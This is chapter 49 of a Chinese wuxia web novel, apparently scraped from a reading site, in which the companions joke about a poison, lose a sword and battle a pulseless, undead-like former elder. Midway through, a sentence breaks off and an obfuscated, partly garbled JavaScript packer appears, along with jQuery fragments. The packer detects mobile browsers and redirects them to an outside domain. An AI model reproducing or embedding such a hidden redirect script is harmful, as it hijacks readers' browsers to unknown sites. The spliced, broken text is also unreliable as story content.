北秋叶 作品

49. 成仙?

    徐清至当即从怀里掏出玉瓶,倒出一颗在掌心,走近后伸向盛玲珑,提醒道:“药效太烈,最多只能吃两颗。”


    盛玲珑抿着唇一言不发地喂到白依然嘴里,白依然仰起头,捶着胸口干咽了下去,然后舒了一口气说:“这药效真好。阿煦,我没事了。徐公子,多谢你。”


    闻人浪叉着腰看她脸色确实好了很多,便冲徐清至道:“这药是沈回春所制吗?”


    徐清至冷声:“嗯。”


    闻人浪想起当年穿过毒林子被瘴气所侵蚀,就是被沈回春一双妙手救了他的小命,当即便兴冲冲道:“给我吃一颗呗?”


    盛玲珑白他一眼:“你又没伤你吃了做什么?”


    闻人浪搓着手道:“先吃嘛,沈回春的药,吃了肯定有大大的益处。”


    徐清至微微一笑,将白玉瓶子重新塞进怀中,然后掏出另外一个天青色的瓶子,极为大度地递给闻人浪,唇角微扬:“喝这个吧,这个药效更好,喝完就跟成仙了一样。”


    “真的?!”闻人浪眼睛一亮,激动万分,他迫不及待地接过瓷瓶,瓶塞刚拔开,还没来得及往嘴里倒,就被盛玲珑劈手夺了过去,盖好后又扔给了徐清至。


    闻人浪呆愣一瞬,有些纳闷道:“干嘛不给我吃啊?”


    盛玲珑冷冷道:“动动你的脑子。”


    徐清至一直以来对闻人浪的敌意都非常大,他哪有那么好心。


    徐清至将瓷瓶收好,负手而立,眼神无辜。


    闻人浪表情空白一瞬,仔细咀嚼着徐清至方才那句话——喝完跟成仙了一样。


    成仙……


    成仙?


    成仙!!


    闻人浪顿时琢磨出味儿来了,他拳头猛地砸至掌心,无比震惊道:“好家伙,那是毒药啊?!你也太狠毒了吧!居然想毒死我?”


    这真是装都懒得装了。


    闻人浪有些后怕,如果是沈回春炼制的毒药,那肯定沾一点就死,想他年纪轻轻,还未大展宏图,可不能英年早逝。


    闻人浪从这一刻开始,发誓在有徐清至的地方,一定要打起十二分的警惕来,这小子居然想杀他。


    呵,还好他武功不敌自己,只能使些阴招了。


    白依然暗自摇头,她道:“阿煦,我们找出去的路吧?这个地方阴森森的。”


    “好。”盛玲珑环顾四周,道,“我们都是被湖心漩涡卷下来的,按理说该在地下,但这里有光……罢了,先往前走吧。”


    白依然道:“嗯!”


    盛玲珑看过去,用来包扎她伤口的布料被渗出的血染红,颜色已然暗沉干涸,但她脸色尚可,便问:“你伤怎么样?”


    白依然稍微动了下左臂,虽然还有些痛,但不影响简单活动,她宽慰道:“没事,幸好伤的是左手臂,不影响我使剑,放心好了。”


    “那就好。”盛玲珑轻一颔首,随即又顿住,“你剑呢?”


    “我剑当然……”白依然下意识地拍向腰间,结果一低头,腰间空空如也,她一愣,慌张道,“我剑呢!”


    她连忙扑到黑棺前,里面空荡荡的,只有一小滩干了的血迹。


    “丢了……”白依然眼眶登时便红了,她含着一汪眼泪,哽咽道,“应该是掉进湖里的时候被水冲走了……我剑啊……那是我师父送给我的剑啊,我十八岁的生辰礼啊,我的另一半啊……我下半辈子怎么办啊……”


    “……要不回去找找?”盛玲珑出主意道。


    白依然哭着摇头,自我安慰道:“不找了,命里没有就没有。明年我二十五岁生辰时让师父再送我一柄一模一样的,我就假装没有丢好了。”


    “这个主意不错,特别好。”盛玲珑帮她擦去眼泪。


    白依然抹去眼泪,走在盛玲珑身侧,跟他们一起往洞窟出口走去,之前那个洞窟已经毁了,现下也只能往前走。


    她抽了抽鼻子,小声道:“我们走近一点哦,别分太开,我没剑,我害怕。”


    “……”话音刚落,她就停了脚步,感觉脚踝被什么东西紧紧缠住了,她疑惑地低下头去,瞳孔骤缩。


    只见睁着眼睛死不瞑目的怪人不知何时变换了姿势,四肢着地,抬着头,咧着嘴,森冷尖利的白牙似乎能一口咬断人的脖子,他肌肉虬结的手臂向前伸着,手掌紧紧地握着她的右脚踝,如千斤重石一般,她丝毫动弹不得。


    “阿煦!!”白依然浑身汗毛倒竖,惊叫出声。


    盛玲珑在她低头的一瞬也疑惑地随着她的视线看去,在看到没有了呼吸脉搏的怪人竟然又悄无声息地活了过来,好似那三道致命伤对他全然没有影响一样,她震愕过后,当即便拔剑向怪人手臂砍去。


    一剑下去,血液狂飙,溅了白依然裙摆上一大片的红色,然而那怪人仍是死死抓着她的脚踝不放,只是发出“嗬嗬”的声音,好像没有痛觉一般。


    闻人浪再次爆发出他那句疑问:“我去他大爷的!这到底是不是人啊?!”


    神智不清,没有痛觉,心脏捅了两剑都断气了还能再活过来,这从哪里看都不像是个人啊?


    徐清至一手刀劈向怪人脖颈,手掌却在触碰到他的肌肤时猛地顿住,手下触感冰冷无比,最重要的是……


    “他没有脉搏。”徐清至神情微变。


    先前对闻人浪的神鬼一说嗤之以鼻的白依然忽然有些怀疑人生了,她颤声道:“什么?不会真是鬼吧……”


    闻人浪嗤之以鼻:“不是,他都流血了,还有影子呢,还会说话呢!不是鬼!别瞎说!!”


    徐清至后撤至旁边,看着盛玲珑一剑将怪人手臂斩下,那断掉的手掌还紧紧地握在白依然脚踝上。


    怪人猛地从地上弹起,没有右手的手臂也似乎没有受到什么影响,血迹滴滴答答地落在地面上,与盛玲珑和闻人浪二人缠斗起来。


    白依然面如土色,她手里没剑,一点儿安全感都没有,连忙退至安全地带,单膝跪地,半蹲着去


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787079|165305||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    掰脚踝上的断手,那手死死攥着,她硬生生一根一根把手指掰断了,才成功解救自己被攥出一片青紫痕迹的脚踝。


    她气愤地在断手上踩了两下,然后一脚将其踢飞,不偏不倚,正落进徐清至身后的黑棺里。


    她松了口气,小跑着站到徐清至身侧,顺着他的视线看去,“你怎么不帮忙啊?在看什么呢?”


    徐清至轻轻吐出二字:“怪人。”


    闻人浪剑法大开大合,每一剑都带着劈山断岳之势。那怪人却似背后长眼睛一般,一个诡异的拧身,铁臂横挡,架住了闻人浪的藏风剑。


    他反手一拳轰向闻人浪的胸口,闻人浪横剑格挡,却被那恐怖的力道震得虎口发麻,连连后退,后背重重地撞在了石壁上。


    “他力气怎么这么大!”闻人浪咽下喉间涌上来的腥甜,紧握长剑,“不,是他内力怎么这么强!”


    “乾坤门昔日长老,岂是浪得虚名?”盛玲珑回道。


    徐清至折扇脱手而出,旋转着削向怪人脖颈,怪人仰头闪避,拳头击飞折扇后转向攻他下盘的盛玲珑,盛玲珑却剑势急转,猛地刺向怪人胸口。


    怪人袭空,剑尖却刺入胸膛两寸,他“嗬嗬”两声,胸膛朝前一顶,竟将没入身体的剑给震出。


    徐清至接住飞回的折扇,他闭目片刻,极力去回忆先前在无相门时,从徐忘情那处了解的消息。


    梅永寿精通外家硬功,骨骼关节异于常人。


    而他如今这个不人不鬼的状态,血都要流干了都还活动自如,倒像是沈颐崖曾经提起过的活死人。


    人死之后没有自己的意识,但又被操控着行为,没有呼吸脉搏……


    虽然有些差异,却又有些相似。


    但是目前的梅永寿,有表情流露,会说话,虽然吐字不清,感知不到疼痛,致命伤对他无效,会隐藏自己,知道偷袭人。


    徐清至轻轻皱眉,有些棘手。


    如果沈颐崖在此处,当能看出他是个什么状况。


    梅永寿躲避盛玲珑的攻击时,徐清至忽然眼神一凛,眼尖地注意到梅永寿胸膛皮肤上虬结的青筋,那青筋不似常态,若是仔细看去,竟能发现“青筋”在隐隐蠕动。


    徐清至突然暴起发难,他手中折扇边缘闪烁着寒光,折扇展开时带着呼啸的风声,冲梅永寿胸膛当胸斩下,梅永寿举臂相迎,却见一旁闻人浪手腕一翻,剑势突变,使出“逍遥剑法”中极为刚猛的一势“断江”。


    梅永寿仓促后仰,藏风剑在他手臂上斩出一道深可见骨的伤痕,皮肉外翻,白骨森森。他试图抵挡斜方刺来的白色长剑,却有些分身乏术,胸膛之处被扇缘划出一道深深的血痕。


    徐清至收扇后退,目光凝视他胸前那处“青筋”,青筋不再蠕动,而是掉落出一个血红色的细线来,在地上翻涌两下,便没了声息。


    梅永寿抓着胸口咆哮嘶吼,声音震得四周石块纷纷坠落,他双目赤红,脸上的黑纹如蛛网般蔓延。